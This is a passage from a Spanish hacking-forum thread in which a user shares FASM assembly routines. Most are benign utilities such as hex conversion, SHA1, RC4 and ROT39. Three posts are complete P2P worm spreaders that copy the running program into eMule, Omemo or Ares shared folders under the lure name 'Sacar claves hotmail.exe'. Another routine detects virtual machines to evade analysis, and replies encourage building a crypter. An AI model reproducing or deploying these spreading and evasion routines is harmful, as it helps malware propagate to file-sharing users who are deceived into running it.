  9. cmp  [cCantidad],0
  10. je .salir
  11. xor edx,edx
  12. movzx eax,byte[esi]
  13. mov ebx,16
  14. div ebx
  15. mov bl, byte[numeros+eax]
  16. mov byte[edi],bl
  17. mov bl, byte[numeros+edx]
  18. mov byte[edi+1],bl
  19. add edi,2
  20. inc esi
  21. dec  [cCantidad]
  22. jmp  .bucle
  23. .salir:
  24. popad
  25. ret
  26. numeros db '0123456789ABCDEF',0  
  27. endp            


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 12 Junio 2009, 23:58 pm
Código
  1. proc HexToString,cPuntero,cCantidad,cBuffer
  2. pushad
  3. mov edi,[cPuntero]
  4. mov esi,[cBuffer]
  5. .bucle:
  6. cmp [cCantidad] ,0
  7. je .salir
  8. movzx eax,byte[edi]
  9. xor edx,edx
  10. mov ebx,16
  11. div ebx
  12. mov ecx,edx
  13. .if byte[edi] >= 'A'
  14. add ecx,9
  15. .endif
  16. xor edx,edx
  17. mov eax,16
  18. mul ecx
  19. mov ecx,eax
  20. movzx eax,byte[edi+1]
  21. xor edx,edx
  22. mov ebx,16
  23. div ebx
  24. .if byte[edi+1] >= 'A'
  25. add edx,9
  26. .endif
  27. add ecx,edx
  28. mov byte[esi],cl
  29. inc esi
  30. add edi,2
  31. dec [cCantidad]
  32. jmp  .bucle
  33. .salir :
  34. popad
  35. ret
  36. endp


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 13 Junio 2009, 04:26 am
Código
  1. include 'win32ax.inc'
  2. .data
  3. buffer rb 41
  4. var0 db "12345",0
  5. .code
  6. start:
  7. invoke lstrlen,var0
  8.  
  9. stdcall  SHA1Hash ,var0 ,eax,buffer
  10.  
  11.  
  12.    invoke MessageBox,0,buffer,buffer,0
  13.  leave
  14. ret
  15.  ;Descripción: Saca el hash sha1 de un dato
  16. ; by YST
  17. proc SHA1Hash ,pbData,dwDataLen,cBuffer
  18. locals
  19. hProv dd ?
  20. PROV_RSA_FULL = 1
  21.  CALG_SHA = 0x00008004
  22.  hHash dd ?
  23.  cBuf rb 40
  24.  dwSigLen dd ?
  25. endl
  26. pushad
  27. invoke CryptAcquireContext,addr hProv,0,0,PROV_RSA_FULL,0
  28. .if [hProv] = 0
  29. invoke CryptAcquireContext,addr hProv,0,0,PROV_RSA_FULL,8h
  30. .endif
  31.  
  32. invoke CryptCreateHash,[hProv],CALG_SHA, 0, 0, addr hHash
  33. invoke CryptHashData,[hHash], [pbData],[dwDataLen]   , 0
  34.  
  35.   invoke CryptGetHashParam,[hHash], 2, 0,addr dwSigLen, 0
  36.    .if [dwSigLen] <> 0
  37. invoke CryptGetHashParam,[hHash], 2, addr cBuf,addr dwSigLen, 0
  38. .endif
  39.  
  40. invoke CryptDestroyHash,[hHash]
  41. invoke CryptReleaseContext,[hProv], 0
  42. stdcall StringToHex,addr cBuf,20,[cBuffer]
  43. popad
  44. ret
  45. endp
  46. ;Descripción: Convierte un dato a hexadecimal
  47. ; by YST
  48. proc StringToHex,cPuntero,cCantidad,cBuffer
  49. pushad
  50. mov esi,[cPuntero]
  51.  
  52. mov edi,[cBuffer]
  53. .bucle:
  54. cmp  [cCantidad],0
  55. je .salir
  56. xor edx,edx
  57. movzx eax,byte[esi]
  58. mov ebx,16
  59. div ebx
  60. mov bl, byte[numeros+eax]
  61. mov byte[edi],bl
  62. mov bl, byte[numeros+edx]
  63. mov byte[edi+1],bl
  64. add edi,2
  65. inc esi
  66. dec  [cCantidad]
  67. jmp  .bucle
  68. .salir:
  69. popad
  70. ret
  71. numeros db '0123456789ABCDEF',0  
  72. endp
  73. .end start
  74.  


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 19 Junio 2009, 22:12 pm
Código
  1. include 'win32ax.inc'
  2. entry start
  3. .code
  4. cName equ "Sacar claves hotmail.exe" ; Nombre con que nos copiaremos
  5. proc start
  6. locals
  7. lBuffer rb MAX_PATH
  8. lBuffer2  rb MAX_PATH
  9. lBuffer3  rb MAX_PATH
  10. endl
  11. stdcall Zerar,addr lBuffer,MAX_PATH
  12. stdcall LeerRegistro,HKEY_CURRENT_USER,"Software\eMule" , "Install Path",addr lBuffer
  13. .if eax = 0
  14. jmp .exit
  15. .endif
  16. invoke lstrcat,addr lBuffer,"\config\preferences.ini"
  17. invoke PathFileExists,addr lBuffer
  18. .if eax <> 0
  19. stdcall Zerar,addr lBuffer2,MAX_PATH
  20. invoke GetPrivateProfileString,"eMule", "IncomingDir", 0, addr lBuffer2, 260, addr lBuffer
  21. invoke lstrlen,addr lBuffer2
  22. lea ebx,[lBuffer2]
  23. mov byte[ebx+eax],"\"
  24. invoke lstrcat, addr lBuffer2,cName
  25. MOV     EaX, [FS:30h]
  26. MOV     EaX, [EaX + 10h]
  27. MOV     EaX, [EaX + 3Ch]
  28. stdcall Zerar,addr lBuffer3,MAX_PATH
  29. stdcall UniToAscii, addr lBuffer3,eax
  30. invoke CopyFile, addr lBuffer3,  addr lBuffer2,0
  31. jmp .exit
  32. .else
  33. jmp .exit
  34. .endif
  35. .exit:
  36. invoke ExitProcess,0
  37. endp
  38. proc UniToAscii, ascii, unicode
  39. push esi
  40. push edi
  41. mov esi, [unicode]
  42. mov edi, [ascii]
  43. .count:
  44. .if byte[esi] <> 0
  45. movsb
  46. jmp .count
  47. .endif
  48. inc esi
  49. .if byte[esi] = 0
  50. jmp .exit
  51. .endif
  52. jmp .count
  53. .exit:
  54.  
  55. mov eax, edi
  56. add eax, 2
  57. pop edi
  58. pop esi
  59. ret
  60. endp
  61. proc Zerar,Puntero,Cantidad  ;Funcion que llena de 0 una posicion
  62. push ecx
  63. push ebx
  64. mov ecx,[Cantidad]
  65. mov ebx,[Puntero]
  66. .bucle:
  67. mov byte[ebx+ecx],0
  68. loop .bucle
  69. mov byte[ebx],0
  70. pop ebx
  71. pop ecx
  72. ret
  73. endp
  74. proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer
  75. locals
  76. temp dd ?
  77. Result dd ?
  78. endl
  79. mov [temp],MAX_PATH*3
  80. invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result
  81. .if eax <> 0 ;Si no hay datos devolvemos 0
  82. xor eax,eax
  83. jmp  .salir
  84. .endif
  85.  
  86. lea ebx,[temp]
  87. invoke RegQueryValueEx  ,[Result],[cCampo],0,0,[cBuffer],ebx
  88. .if eax <> 0 ;Si no hay datos devolvemos 0
  89. xor eax,eax
  90. jmp  .salir
  91. .endif
  92. mov eax,TRUE
  93. .salir:
  94. ret
  95. endp
  96. section '.idata' import data readable
  97. library shlwapi,'shlwapi.dll',kernel32,'kernel32.dll' ,advapi32,'advapi32.dll'
  98. include 'api/kernel32.inc'
  99. include 'api/advapi32.inc'
  100.   import shlwapi,PathFileExists,'PathFileExistsA'
  101.  
  102.  


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 20 Junio 2009, 02:18 am
Código
  1. include 'win32ax.inc'
  2. entry start
  3. .code
  4. cName equ "Sacar claves hotmail.exe" ; Nombre con que nos copiaremos
  5. proc start
  6. locals
  7. lBuffer rb MAX_PATH
  8. lBuffer2  rb MAX_PATH
  9. lBuffer3  rb MAX_PATH
  10. endl
  11.  
  12. stdcall Zerar,addr lBuffer,MAX_PATH
  13. stdcall LeerRegistro,HKEY_LOCAL_MACHINE,"SOFTWARE\Omemo" , "InstallDir",addr lBuffer
  14. .if eax = 0
  15. jmp .exit
  16. .endif
  17.  
  18. invoke lstrcat,addr lBuffer,"\Omemo.ini"
  19. invoke PathFileExists,addr lBuffer
  20. .if eax <> 0
  21. stdcall Zerar,addr lBuffer2,MAX_PATH
  22. invoke GetPrivateProfileString,"global", "SAVE_AS_FOLDER", 0, addr lBuffer2, 260, addr lBuffer
  23. invoke lstrlen,addr lBuffer2
  24. lea ebx,[lBuffer2]
  25. mov byte[ebx+eax],"\"
  26. invoke lstrcat, addr lBuffer2,cName
  27. MOV     EaX, [FS:30h]
  28. MOV     EaX, [EaX + 10h]
  29. MOV     EaX, [EaX + 3Ch]
  30. stdcall Zerar,addr lBuffer3,MAX_PATH
  31. stdcall UniToAscii, addr lBuffer3,eax
  32. invoke CopyFile, addr lBuffer3,  addr lBuffer2,0
  33. jmp .exit
  34. .else
  35. jmp .exit
  36. .endif
  37. .exit:
  38. invoke ExitProcess,0
  39. endp
  40. proc UniToAscii, ascii, unicode
  41. push esi
  42. push edi
  43. mov esi, [unicode]
  44. mov edi, [ascii]
  45. .count:
  46. .if byte[esi] <> 0
  47. movsb
  48. jmp .count
  49. .endif
  50. inc esi
  51. .if byte[esi] = 0
  52. jmp .exit
  53. .endif
  54. jmp .count
  55. .exit:
  56.  
  57. mov eax, edi
  58. add eax, 2
  59. pop edi
  60. pop esi
  61. ret
  62. endp
  63. proc Zerar,Puntero,Cantidad  ;Funcion que llena de 0 una posicion
  64. push ecx
  65. push ebx
  66. mov ecx,[Cantidad]
  67. mov ebx,[Puntero]
  68. .bucle:
  69. mov byte[ebx+ecx],0
  70. loop .bucle
  71. mov byte[ebx],0
  72. pop ebx
  73. pop ecx
  74. ret
  75. endp
  76. proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer
  77. locals
  78. temp dd ?
  79. Result dd ?
  80. endl
  81. mov [temp],MAX_PATH*3
  82. invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result
  83. .if eax <> 0 ;Si no hay datos devolvemos 0
  84. xor eax,eax
  85. jmp  .salir
  86. .endif
  87.  
  88. lea ebx,[temp]
  89. invoke RegQueryValueEx  ,[Result],[cCampo],0,0,[cBuffer],ebx
  90. .if eax <> 0 ;Si no hay datos devolvemos 0
  91. xor eax,eax
  92. jmp  .salir
  93. .endif
  94. mov eax,1
  95. .salir:
  96. ret
  97. endp
  98. section '.idata' import data readable
  99. library shlwapi,'shlwapi.dll',kernel32,'kernel32.dll' ,advapi32,'advapi32.dll',user32,'user32.dll'
  100. include 'api/kernel32.inc'
  101. include 'api/advapi32.inc'
  102. include  'api/user32.inc'
  103.   import shlwapi,PathFileExists,'PathFileExistsA'
  104.  


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 20 Junio 2009, 02:35 am
Código
  1. include 'win32ax.inc'
  2. entry start
  3. .code
  4. cName equ "Sacar claves hotmail.exe" ; Nombre con que nos copiaremos
  5. proc start
  6. locals
  7. lBuffer rb MAX_PATH
  8. lBuffer2  rb MAX_PATH
  9. lBuffer3  rb MAX_PATH
  10. endl
  11.  
  12. stdcall Zerar,addr lBuffer,MAX_PATH
  13. stdcall LeerRegistro,HKEY_CURRENT_USER,"Software\Ares" , "Download.Folder",addr lBuffer
  14. .if eax = 0
  15. jmp .exit
  16. .endif
  17.  
  18. stdcall Zerar,addr lBuffer2,MAX_PATH
  19. invoke lstrlen,addr lBuffer
  20. stdcall HexToString,addr lBuffer,eax,addr lBuffer2
  21. invoke lstrlen,addr lBuffer2
  22. lea ebx,[lBuffer2]
  23. mov byte[ebx+eax],"\"
  24. mov ebx,MAX_PATH
  25. sub ebx,eax
  26. lea edx,[lBuffer2]
  27. inc eax
  28. add eax,edx
  29. stdcall Zerar,eax,ebx
  30. invoke lstrcat, addr lBuffer2,cName
  31.  
  32. MOV     EaX, [FS:30h]
  33. MOV     EaX, [EaX + 10h]
  34. MOV     EaX, [EaX + 3Ch]
  35. stdcall Zerar,addr lBuffer3,MAX_PATH
  36. stdcall UniToAscii, addr lBuffer3,eax
  37. invoke CopyFile, addr lBuffer3,  addr lBuffer2,0
  38. .exit:
  39. invoke ExitProcess,0
  40. endp
  41. proc UniToAscii, ascii, unicode
  42. push esi
  43. push edi
  44. mov esi, [unicode]
  45. mov edi, [ascii]
  46. .count:
  47. .if byte[esi] <> 0
  48. movsb
  49. jmp .count
  50. .endif
  51. inc esi
  52. .if byte[esi] = 0
  53. jmp .exit
  54. .endif
  55. jmp .count
  56. .exit:
  57.  
  58. mov eax, edi
  59. add eax, 2
  60. pop edi
  61. pop esi
  62. ret
  63. endp
  64. proc Zerar,Puntero,Cantidad  ;Funcion que llena de 0 una posicion
  65. push ecx
  66. push ebx
  67. mov ecx,[Cantidad]
  68. mov ebx,[Puntero]
  69. .bucle:
  70. mov byte[ebx+ecx],0
  71. loop .bucle
  72. mov byte[ebx],0
  73. pop ebx
  74. pop ecx
  75. ret
  76. endp
  77. proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer
  78. locals
  79. temp dd ?
  80. Result dd ?
  81. endl
  82. mov [temp],MAX_PATH*3
  83. invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result
  84. .if eax <> 0 ;Si no hay datos devolvemos 0
  85. xor eax,eax
  86. jmp  .salir
  87. .endif
  88.  
  89. lea ebx,[temp]
  90. invoke RegQueryValueEx  ,[Result],[cCampo],0,0,[cBuffer],ebx
  91. .if eax <> 0 ;Si no hay datos devolvemos 0
  92. xor eax,eax
  93. jmp  .salir
  94. .endif
  95. mov eax,1
  96. .salir:
  97. ret
  98. endp
  99. proc HexToString,cPuntero,cCantidad,cBuffer
  100. pushad
  101. mov edi,[cPuntero]
  102. mov esi,[cBuffer]
  103. .bucle:
  104. cmp [cCantidad] ,0
  105. je .salir
  106. movzx eax,byte[edi]
  107. xor edx,edx
  108. mov ebx,16
  109. div ebx
  110. mov ecx,edx
  111. .if byte[edi] >= 'A'
  112. add ecx,9
  113. .endif
  114. xor edx,edx
  115. mov eax,16
  116. mul ecx
  117. mov ecx,eax
  118. .if word[edi] = "C3" | word[edi]= "c3"
  119. mov byte[esi],"ó"
  120. add edi,4
  121. inc esi
  122. sub [cCantidad],2
  123. jmp .bucle
  124. .endif
  125. movzx eax,byte[edi+1]
  126. xor edx,edx
  127. mov ebx,16
  128. div ebx
  129. .if byte[edi+1] >= 'A'
  130. add edx,9
  131. .endif
  132. add ecx,edx
  133. mov byte[esi],cl
  134. inc esi
  135. add edi,2
  136. dec [cCantidad]
  137. jmp  .bucle
  138. .salir :
  139. popad
  140. ret
  141. endp
  142. section '.idata' import data readable
  143. library shlwapi,'shlwapi.dll',kernel32,'kernel32.dll' ,advapi32,'advapi32.dll',user32,'user32.dll'
  144. include 'api/kernel32.inc'
  145. include 'api/advapi32.inc'
  146.   import shlwapi,PathFileExists,'PathFileExistsA'
  147.  include 'api/user32.inc'


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 21 Junio 2009, 08:33 am
Código
  1. include 'win32ax.inc'
  2. .data
  3. dString db "i'm a string",0
  4. .code
  5. start:
  6. stdcall fRight,dString,9
  7. invoke MessageBox,0,eax,0,0
  8. invoke ExitProcess,0'
  9. ;Funcion que emula la funcion Right de Visual Basic 6
  10. proc fRight,pString,pLen
  11. push esi ebx  edi ecx
  12. mov eax,[pLen]
  13. inc eax
  14. invoke GlobalAlloc,GPTR, eax
  15. mov esi,eax
  16. mov ebx,eax
  17. stdcall Len,[pString]
  18. sub eax,[pLen]
  19. mov edi,[pString]
  20. add edi,eax
  21. .bucle_:
  22. cmp [pLen] ,0
  23. je .exit
  24. mov cl,byte[edi]
  25. mov byte[ebx],cl
  26. inc ebx
  27. inc edi
  28. dec [pLen]
  29. jmp .bucle_
  30. .exit:
  31. mov eax,esi
  32. pop ecx edi ebx esi
  33. ret
  34. endp
  35. proc Len,cCadena   ;Funcion que mide la cadena
  36. push ecx edi
  37. mov ecx,-1
  38. mov edi,[cCadena]
  39. mov al,0
  40. repnz scasb
  41. mov eax,ecx
  42. not eax
  43. dec eax
  44. pop edi ecx
  45. ret
  46. endp
  47. .end start
  48.  


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 25 Junio 2009, 06:44 am
Código
  1. include 'win32ax.inc'
  2. .data
  3. cBuffer db 'Hola',0
  4. cClave db 'Hola',0
  5. s db 257 dup(0)
  6.  
  7. .code
  8. start:
  9. stdcall Len,cClave
  10. mov ebx,eax
  11. stdcall Len,cBuffer
  12. stdcall RC4,cBuffer,cClave,eax,ebx
  13. invoke MessageBox,0,cBuffer,0,0
  14. invoke ExitProcess,0
  15. proc RC4,pBuffer,pPassword,pTamñoBuffer,pTamPass
  16. pushad
  17. dec [pTamñoBuffer]
  18. ;   For i = 0 To 255
  19. ; DoEvents
  20. ; s(i) = i
  21. ;   Next i
  22. mov eax,s
  23. mov byte[eax],0
  24. inc eax
  25. mov ecx,256
  26. .bucle1_:
  27. mov bl,byte[eax-1]
  28. inc bl
  29. mov  byte[eax] ,bl
  30. inc eax
  31. loop .bucle1_
  32.  
  33. ;    For i = 0 To 255
  34. ;        DoEvents
  35. ;        j = (j + s(i) + Key(i Mod Len(sKey))) Mod 256
  36. ;        tmp = s(i)
  37. ;        s(i) = s(j)
  38. ;        s(j) = tmp
  39. ;    Next i
  40. ;j = ebx
  41. ;ja = esi
  42. ;I = edi
  43. xor ebx,ebx
  44. mov edi,-1
  45. .bucle2_:
  46. inc edi
  47. xor esi,esi
  48. mov esi,ebx
  49. movzx eax,byte[s+edi]
  50. add esi,eax
  51. stdcall lMod,edi,[pTamPass]
  52. mov ecx,[pPassword]
  53. movzx eax,byte[ecx+eax]
  54. add esi,eax
  55. stdcall lMod,esi,256
  56. mov ebx, eax
  57. mov eax,s
  58. mov cl,byte[eax+ebx] ; s(j)
  59. mov ch,byte[eax+edi] ; s(i)
  60. mov byte[eax+edi],cl
  61. mov byte[eax+ebx],ch
  62. cmp edi,255
  63. jne .bucle2_
  64. inc edi
  65.  
  66.  
  67. ;   For l = 0 To UBound(Buffer)
  68. ;       DoEvents
  69. ;       i = (i + 1) Mod 256
  70. ;       j = (j + s(i)) Mod 256
  71. ;       tmp = s(i)
  72. ;       s(i) = s(j)
  73. ;       s(j) = tmp
  74. ;       Buffer(l) = Buffer(l) Xor (s((s(i) + s(j)) Mod 256))
  75. ;   Next l
  76. xor esi,esi  ;esi = l
  77. dec esi ; esi = -1
  78. .bucle3_:
  79. inc esi
  80. mov eax,edi
  81. inc eax
  82. stdcall lMod,eax,256
  83. mov edi,eax
  84. mov eax,ebx
  85. xor ecx,ecx
  86. movzx ecx,byte[s+edi]
  87. add eax,ecx
  88. stdcall lMod,eax,256
  89. mov ebx,eax
  90. mov eax,s
  91. mov cl,byte[eax+ebx] ; s(j)
  92. mov ch,byte[eax+edi] ; s(i)
  93. mov byte[eax+edi],cl
  94. mov byte[eax+ebx],ch
  95. mov eax,[pBuffer]
  96. add cl,ch
  97. movzx eax,cl
  98. add eax,s
  99. movzx eax,byte[eax]
  100. stdcall lMod,eax,256
  101.  
  102. mov edx,[pBuffer]
  103. xor byte[edx+esi],al
  104.  
  105. cmp esi,[pTamñoBuffer]
  106. jne .bucle3_
  107. popad
  108. ret
  109. endp
  110. invoke ExitProcess,0
  111. proc lMod,c1,c2
  112. push edx
  113. xor edx,edx
  114. mov eax,[c1]
  115. idiv [c2]
  116. push edx
  117. pop eax
  118. pop edx
  119. ret
  120. endp
  121.  
  122. proc Len,cCadena   ;Funcion que mide la cadena
  123. push ecx edi
  124. mov ecx,-1
  125. mov edi,[cCadena]
  126. mov al,0
  127. repnz scasb
  128. mov eax,ecx
  129. not eax
  130. dec eax
  131. pop edi ecx
  132. ret
  133. endp
  134. .end start


Título: Re: Recopilación de mis codigos.
Publicado por: Erik# en 26 Junio 2009, 11:12 am
Código
  1. include 'win32ax.inc'
  2. .code
  3. start:
  4. stdcall DetectaExtención,"SoyUnExe.php.exe.YoSoyLaextensionreal"
  5. invoke MessageBox,0,eax,0,0
  6. invoke ExitProcess,0
  7. ;Descripcion: Esta función devuelve la extension de un archivo
  8. ; cRuta = Ruta del archivo
  9. ; by YST
  10. proc DetectaExtención,cRuta
  11. push ebx esi
  12. xchg eax,[cRuta]
  13. dec eax
  14. .bucle:
  15. inc eax
  16. cmp byte[eax],0
  17. jne .bucle
  18. inc eax
  19. .bucle2:
  20. dec eax
  21. cmp byte[eax],"."
  22. jne .bucle2
  23. xor esi,esi
  24. dec esi
  25. .bucle3:
  26. inc eax
  27. inc esi
  28. cmp byte[eax],0
  29. jne .bucle3
  30. push eax
  31. invoke GlobalAlloc,GPTR,esi
  32. xchg ebx,eax
  33. pop eax
  34. sub eax,esi
  35. stdcall cRtlMoveMemory,ebx,eax,esi
  36. xchg ebx,eax
  37. .salir:
  38. pop  esi ebx
  39. ret
  40. endp
  41. ;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
  42. ; by YST
  43. proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
  44. push esi edi
  45. xchg edi,[cBuffer]
  46. xchg esi,[Cpuntero]
  47. .bucleb:
  48. dec [cCantidad]
  49. movsb
  50. cmp  [cCantidad],0
  51. jge .bucleb
  52. pop edi esi
  53. ret
  54. endp
  55. .end start

¿Podrias explicarlo?


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 26 Junio 2009, 11:21 am
Claro,

Lo que hace es detectar el ultimo "." , luego crear un "buffer" con GlobalAlloc y metiendo hay el contenido que viene luego de ese "." , detecta el ultimo "." sumando el tamaño total de la cadena y luego en un bucle decrementando :P


Título: Re: Recopilación de mis codigos.
Publicado por: Erik# en 26 Junio 2009, 11:47 am
Buff, gracias, no entiendo mucho del code, tantas variables ebx, eax, ... xD


Título: Re: Recopilación de mis codigos.
Publicado por: -Gosw- en 26 Junio 2009, 12:36 pm
Hombre eax, ebx y parecidas no son variables... Son registros del CPU... xDD


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 26 Junio 2009, 13:52 pm
http://es.wikipedia.org/wiki/Registro_(hardware) (http://es.wikipedia.org/wiki/Registro_(hardware))


Título: Re: Recopilación de mis codigos.
Publicado por: Erik# en 26 Junio 2009, 16:25 pm
xD Se que son registros, lo que no me acordaba como se llamaba xD


Título: Re: Recopilación de mis codigos.
Publicado por: ny0x en 26 Junio 2009, 19:16 pm
bien yst, deberias intentar hacer un crypter  ;)


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 26 Junio 2009, 19:51 pm
bien yst, deberias intentar hacer un crypter  ;)
Me lees la mente o que ? :xD El sabado publico un crypter ( estyo esperando que karcrack me haga la GUI )


Título: Re: Recopilación de mis codigos.
Publicado por: Amerikano|Cls en 26 Junio 2009, 23:08 pm
bien yst, deberias intentar hacer un crypter  ;)
Me lees la mente o que ? :xD El sabado publico un crypter ( estyo esperando que karcrack me haga la GUI )

 ;-) ;-) lo esperamos  ;)


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 17 Julio 2009, 21:21 pm
Código
  1. include 'win32ax.inc'
  2. .code
  3. start:
  4. ;Creamos el tunel
  5. mov [sa.nLength],12 ;Sizeof.SECURITY_ATTRIBUTES = 12
  6. mov [sa.bInheritHandle],1
  7. mov [sa.lpSecurityDescriptor],0
  8. invoke CreatePipe,hReadPipe, hWritePipe, sa, 0
  9. ;Lanzamos el interprete de comandos...
  10. mov [Start.cb],68      ;Sizeof.STARTUPINFO
  11. mov [Start.dwFlags],257; STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
  12. push [hWritePipe]
  13. push [hWritePipe]
  14. pop [Start.hStdError]
  15. pop [Start.hStdOutput]
  16. invoke  CreateProcessA,0,"cmd.exe /c ping 127.0.0.1", sa, sa, 1, NORMAL_PRIORITY_CLASS, 0, 0, Start, Proc
  17. invoke Sleep,100
  18. invoke CloseHandle,[hWritePipe]
  19. .leer:
  20. invoke ReadFile,[hReadPipe], strBuff, 250, lngBytesread, 0
  21. mov ebx,eax
  22. .if ebx <> 0
  23. invoke lstrcat,strBuff2,strBuff
  24. .endif
  25. cmp ebx,0
  26. jne  .leer
  27.  
  28. invoke MessageBox,0, strBuff2,0,0
  29. salir:
  30. invoke TerminateProcess,[Proc.hProcess],0
  31. invoke CloseHandle,[hReadPipe]
  32. invoke CloseHandle,[hWritePipe]
  33. invoke ExitProcess,0
  34.  
  35. .data
  36. struct SECURITY_ATTRIBUTES
  37.  nLength              dd ?
  38.  lpSecurityDescriptor dd ?
  39.  bInheritHandle       dd ?
  40.  ends
  41. sa  SECURITY_ATTRIBUTES
  42. Start  STARTUPINFO
  43. hReadPipe dd ?
  44. hWritePipe dd ?
  45. Proc  PROCESS_INFORMATION
  46. lngBytesread dd ?
  47. strBuff rb 257
  48.  strBuff2 rb 257
  49. .end start


Título: Re: Recopilación de mis codigos.
Publicado por: Amerikano|Cls en 17 Julio 2009, 21:41 pm
Que hace este code?  ;)


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 17 Julio 2009, 21:44 pm
Que hace este code?  ;)

Es un ejemplo del manejo de las pipes , el code en si muestra lo que devuelve un ping a 127.0.0.1(localhost)


Título: Re: Recopilación de mis codigos.
Publicado por: Amerikano|Cls en 17 Julio 2009, 21:44 pm
Gracias  :xD


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 17 Julio 2009, 23:00 pm
Código
  1. include 'win32ax.inc'
  2. .code
  3. start:
  4. stdcall Len,"Hola mundo."
  5. mov ebx,eax
  6. stdcall ROT39,"Hola mundo." ,eax
  7. mov esi,eax
  8. invoke MessageBox,0,eax,"cifrado:",0
  9. invoke ExitProcess,0
  10. LOWER_LIMIT = 48
  11. CHARMAP  = 39
  12. UPPER_LIMIT  = 125
  13. proc ROT39,pString,pLargo
  14. locals
  15. nCode dd ?
  16. endl
  17. mov eax,[pLargo]
  18. inc eax
  19. invoke GlobalAlloc,GPTR,eax
  20. mov ebx,eax
  21. mov eax,[pLargo]
  22. stdcall cRtlMoveMemory, ebx,[pString],eax
  23.  
  24. dec [pLargo]
  25. xor esi,esi
  26. dec esi
  27. .bucle:
  28. inc esi
  29. mov eax,ebx
  30. add eax,esi
  31. movzx ecx,byte[eax]
  32. mov [nCode] ,ecx
  33.  
  34. .if [nCode] >= LOWER_LIMIT & [nCode] <= UPPER_LIMIT
  35. mov eax,[nCode]
  36. add eax,CHARMAP
  37. mov [nCode],eax
  38.  
  39. .if [nCode] > UPPER_LIMIT
  40. mov eax,[nCode]
  41. sub eax, UPPER_LIMIT
  42. add eax,LOWER_LIMIT
  43. dec eax
  44. mov [nCode] ,eax
  45. .endif
  46. .endif
  47. mov eax,ebx
  48. add eax,esi
  49. mov ecx,[nCode]
  50. mov byte[eax],cl
  51. cmp esi,[pLargo]
  52. jne .bucle
  53.  
  54. mov eax,ebx
  55. ret
  56. endp
  57. proc Len,cCadena ;Funcion que mide la cadena
  58. push ecx edi
  59. mov ecx,-1
  60. mov edi,[cCadena]
  61. mov al,0
  62. repnz scasb
  63. mov eax,ecx
  64. not eax
  65. dec eax
  66. pop edi ecx
  67. ret
  68. endp
  69. ;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
  70. ; by YST
  71. proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
  72. push esi edi
  73. xchg edi,[cBuffer]
  74. xchg esi,[Cpuntero]
  75. .bucleb:
  76. dec [cCantidad]
  77. movsb
  78. cmp  [cCantidad],0
  79. jge .bucleb
  80. pop edi esi
  81. ret
  82. endp
  83. .end start


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 19 Julio 2009, 03:24 am
Código
  1. include 'win32ax.inc'
  2.  
  3. .code
  4. start:
  5. stdcall IsVirtualPCPresent
  6. cmp eax,0
  7. jne  .salir
  8. invoke MessageBox,0,"No estamos en una maquina virtual",0,0
  9. .salir:
  10. invoke ExitProcess,0
  11. ;IsVirtualPCPresent
  12. ;Autor: YST
  13. ;Basado en un la funcion IsVirtualPCPresent de cobein
  14. ;
  15. ;
  16. proc IsVirtualPCPresent
  17. locals
  18. lBuffer rb 500
  19. endl
  20. stdcall LeerRegistro,80000002h,iClave,iCero,addr lBuffer
  21. cmp eax,0
  22. je .no
  23. stdcall cInstr,addr lBuffer,iVIRTUAL
  24. cmp eax,0
  25. je @f
  26. mov eax,1
  27. jmp .salir
  28. @@:
  29. stdcall cInstr,addr lBuffer,iVMWARE
  30. cmp eax,0
  31. je @f
  32. mov eax,2
  33. jmp .salir
  34. @@:
  35. stdcall cInstr,addr lBuffer,iVBOX
  36. cmp eax,0
  37. je @f
  38. mov eax,3
  39. jmp .salir
  40. @@:
  41. .no:
  42. xor eax,eax
  43. .salir:
  44. ret
  45. iClave db 'SYSTEM\ControlSet001\Services\Disk\Enum',0
  46. iCero db '0',0
  47. iVIRTUAL db 'VIRTUAL',0
  48. iVMWARE db 'VMWARE',0
  49. iVBOX db 'VBOX',0
  50. endp
  51. proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer
  52. locals
  53. temp dd ?
  54. Result dd ?
  55. endl
  56. mov [temp],MAX_PATH*2
  57. invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result
  58. .if eax <> 0 ;Si no hay datos devolvemos 0
  59. xor eax,eax
  60. jmp  .salir
  61. .endif
  62.  
  63. lea ebx,[temp]
  64. invoke RegQueryValueEx  ,[Result],[cCampo],0,0,[cBuffer],ebx
  65. .if eax <> 0 ;Si no hay datos devolvemos 0
  66. xor eax,eax
  67. jmp  .salir
  68. .endif
  69. mov eax,1
  70. .salir:
  71. ret
  72. endp
  73. ;////////////////////////////////////////////////////////////////////////////////////////////////////
  74. ;//Descripción: Funcion que ve si la segunda cadena se encuentra dentro de la primera             //
  75. ;//c1 = Cadena                                                                                   //
  76. ;//c2 = Cadena que se buscara en c1                                                             //
  77. ;// Retorna:                                                                                   //
  78. ;// Si no se encuentra o hay error retorna FALSE , en el caso de que se encuentre devuelve eax//
  79. ;// apuntandoa la posicion de c1 donde se encontro c2                                        //
  80. ;// by YST                                                                                  //
  81. ;////////////////////////////////////////////////////////////////////////////////////////////
  82. proc cInstr,c1,c2
  83. push edi esi ebx ecx  edx
  84. stdcall Len,[c2]
  85. mov edi,eax
  86. stdcall Len,[c1]
  87. mov esi,eax
  88. cmp edi,esi
  89. jg .Falso
  90. mov edx,[c1]
